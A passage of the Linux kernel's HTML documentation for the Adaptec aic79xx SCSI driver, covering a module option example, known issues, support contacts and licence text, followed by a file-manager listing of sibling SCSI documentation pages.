</pre></div>
</div>
<ul class="simple">
<li><p>On Controller 0 set amplitude to 1.</p></li>
<li><p>On Controller 2 set amplitude to 7.</p></li>
</ul>
</dd>
</dl>
<p>Example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>options aic79xx aic79xx=verbose,rd_strm:{{0x0041}}
</pre></div>
</div>
<p>enables verbose output in the driver and turns read streaming on
for targets 0 and 6 of Controller 0.</p>
</section>
<section id="additional-notes">
<h2>4. Additional Notes<a class="headerlink" href="#additional-notes" title="Link to this heading">¶</a></h2>
<section id="known-unresolved-or-fyi-issues">
<h3>4.1. Known/Unresolved or FYI Issues<a class="headerlink" href="#known-unresolved-or-fyi-issues" title="Link to this heading">¶</a></h3>
<blockquote>
<div><ul class="simple">
<li><p>Under SuSE Linux Enterprise 7, the driver may fail to operate
correctly due to a problem with PCI interrupt routing in the
Linux kernel.  Please contact SuSE for an updated Linux
kernel.</p></li>
</ul>
</div></blockquote>
</section>
<section id="third-party-compatibility-issues">
<h3>4.2. Third-Party Compatibility Issues<a class="headerlink" href="#third-party-compatibility-issues" title="Link to this heading">¶</a></h3>
<blockquote>
<div><ul class="simple">
<li><p>Adaptec only supports Ultra320 hard drives running
the latest firmware available. Please check with
your hard drive manufacturer to ensure you have the
latest version.</p></li>
</ul>
</div></blockquote>
</section>
<section id="operating-system-or-technology-limitations">
<h3>4.3. Operating System or Technology Limitations<a class="headerlink" href="#operating-system-or-technology-limitations" title="Link to this heading">¶</a></h3>
<blockquote>
<div><ul class="simple">
<li><p>PCI Hot Plug is untested and may cause the operating system
to stop responding.</p></li>
<li><p>Luns that are not numbered contiguously starting with 0 might not
be automatically probed during system startup.  This is a limitation
of the OS.  Please contact your Linux vendor for instructions on
manually probing non-contiguous luns.</p></li>
<li><p>Using the Driver Update Disk version of this package during OS
installation under RedHat might result in two versions of this
driver being installed into the system module directory.  This
might cause problems with the /sbin/mkinitrd program and/or
other RPM packages that try to install system modules.  The best
way to correct this once the system is running is to install
the latest RPM package version of this driver, available from
<a class="reference external" href="http://www.adaptec.com">http://www.adaptec.com</a>.</p></li>
</ul>
</div></blockquote>
</section>
</section>
<section id="adaptec-customer-support">
<h2>5. Adaptec Customer Support<a class="headerlink" href="#adaptec-customer-support" title="Link to this heading">¶</a></h2>
<blockquote>
<div><p>A Technical Support Identification (TSID) Number is required for
Adaptec technical support.</p>
<blockquote>
<div><ul class="simple">
<li><p>The 12-digit TSID can be found on the white barcode-type label
included inside the box with your product.  The TSID helps us
provide more efficient service by accurately identifying your
product and support status.</p></li>
</ul>
</div></blockquote>
<dl>
<dt>Support Options</dt><dd><ul class="simple">
<li><p>Search the Adaptec Support Knowledgebase (ASK) at
<a class="reference external" href="http://ask.adaptec.com">http://ask.adaptec.com</a> for articles, troubleshooting tips, and
frequently asked questions about your product.</p></li>
<li><p>For support via Email, submit your question to Adaptec’s
Technical Support Specialists at <a class="reference external" href="http://ask.adaptec.com/">http://ask.adaptec.com/</a>.</p></li>
</ul>
</dd>
<dt>North America</dt><dd><ul>
<li><p>Visit our Web site at <a class="reference external" href="http://www.adaptec.com/">http://www.adaptec.com/</a>.</p></li>
<li><p>For information about Adaptec’s support options, call
408-957-2550, 24 hours a day, 7 days a week.</p></li>
<li><p>To speak with a Technical Support Specialist,</p>
<ul class="simple">
<li><p>For hardware products, call 408-934-7274,
Monday to Friday, 3:00 am to 5:00 pm, PDT.</p></li>
<li><p>For RAID and Fibre Channel products, call 321-207-2000,
Monday to Friday, 3:00 am to 5:00 pm, PDT.</p></li>
</ul>
<p>To expedite your service, have your computer with you.</p>
</li>
<li><p>To order Adaptec products, including accessories and cables,
call 408-957-7274.  To order cables online go to
<a class="reference external" href="http://www.adaptec.com/buy-cables/">http://www.adaptec.com/buy-cables/</a>.</p></li>
</ul>
</dd>
<dt>Europe</dt><dd><ul class="simple">
<li><p>Visit our Web site at <a class="reference external" href="http://www.adaptec.com/en-US/_common/world_index">http://www.adaptec.com/en-US/_common/world_index</a>.</p></li>
<li><p>To speak with a Technical Support Specialist, call, or email,</p>
<ul>
<li><p>German:  +49 89 4366 5522, Monday-Friday, 9:00-17:00 CET,
<a class="reference external" href="http://ask-de.adaptec.com/">http://ask-de.adaptec.com/</a>.</p></li>
<li><p>French:  +49 89 4366 5533, Monday-Friday, 9:00-17:00 CET,
<a class="reference external" href="http://ask-fr.adaptec.com/">http://ask-fr.adaptec.com/</a>.</p></li>
<li><p>English: +49 89 4366 5544, Monday-Friday, 9:00-17:00 GMT,
<a class="reference external" href="http://ask.adaptec.com/">http://ask.adaptec.com/</a>.</p></li>
</ul>
</li>
<li><p>You can order Adaptec cables online at
<a class="reference external" href="http://www.adaptec.com/buy-cables/">http://www.adaptec.com/buy-cables/</a>.</p></li>
</ul>
</dd>
<dt>Japan</dt><dd><ul class="simple">
<li><p>Visit our web site at <a class="reference external" href="http://www.adaptec.co.jp/">http://www.adaptec.co.jp/</a>.</p></li>
<li><p>To speak with a Technical Support Specialist, call
+81 3 5308 6120, Monday-Friday, 9:00 a.m. to 12:00 p.m.,
1:00 p.m. to 6:00 p.m.</p></li>
</ul>
</dd>
</dl>
</div></blockquote>
<p>Copyright © 2003 Adaptec Inc. 691 S. Milpitas Blvd., Milpitas CA 95035 USA.
All rights reserved.</p>
<p>You are permitted to redistribute, use and modify this README file in whole
or in part in conjunction with redistribution of software governed by the
General Public License, provided that the following conditions are met:</p>
<ol class="arabic simple">
<li><p>Redistributions of README file must retain the above copyright
notice, this list of conditions, and the following disclaimer,
without modification.</p></li>
<li><p>The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.</p></li>
<li><p>Modifications or new contributions must be attributed in a copyright
notice identifying the author (“Contributor”) and added below the
original copyright notice. The copyright notice is for purposes of
identifying contributors and should not be deemed as permission to alter
the permissions given by Adaptec.</p></li>
</ol>
<p>THIS README FILE IS PROVIDED BY ADAPTEC AND CONTRIBUTORS <code class="docutils literal notranslate"><span class="pre">AS</span> <span class="pre">IS</span></code> AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ANY
WARRANTIES OF NON-INFRINGEMENT OR THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
ADAPTEC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS README
FILE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/scsi/aic79xx.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
scsi_transport_srp Folder 0755
53c700.html File 14.24 KB 0644
BusLogic.html File 40.51 KB 0644
FlashPoint.html File 17.51 KB 0644
NinjaSCSI.html File 14.65 KB 0644
aacraid.html File 24.06 KB 0644
advansys.html File 22.78 KB 0644
aha152x.html File 17.97 KB 0644
aic79xx.html File 39.05 KB 0644
aic7xxx.html File 39.95 KB 0644
arcmsr_spec.html File 47.74 KB 0644
bfa.html File 13.08 KB 0644
bnx2fc.html File 11.76 KB 0644
cxgb3i.html File 12.03 KB 0644
dc395x.html File 13.48 KB 0644
dpti.html File 12.29 KB 0644
g_NCR5380.html File 12.35 KB 0644
hpsa.html File 14.53 KB 0644
hptiop.html File 19.61 KB 0644
index.html File 13.43 KB 0644
libsas.html File 27.98 KB 0644
link_power_management_policy.html File 8.92 KB 0644
lpfc.html File 11.34 KB 0644
megaraid.html File 11.93 KB 0644
ncr53c8xx.html File 115.22 KB 0644
ppa.html File 8.8 KB 0644
qlogicfas.html File 11.85 KB 0644
scsi-changer.html File 16.8 KB 0644
scsi-generic.html File 13.62 KB 0644
scsi-parameters.html File 11.93 KB 0644
scsi.html File 10.65 KB 0644
scsi_eh.html File 36.79 KB 0644
scsi_fc_transport.html File 38.88 KB 0644
scsi_mid_low_api.html File 71.01 KB 0644
sd-parameters.html File 9.52 KB 0644
smartpqi.html File 11.98 KB 0644
st.html File 41.47 KB 0644
sym53c500_cs.html File 9.4 KB 0644
sym53c8xx_2.html File 66.19 KB 0644
tcm_qla2xxx.html File 9.28 KB 0644
ufs.html File 17.85 KB 0644
wd719x.html File 9.04 KB 0644
Filemanager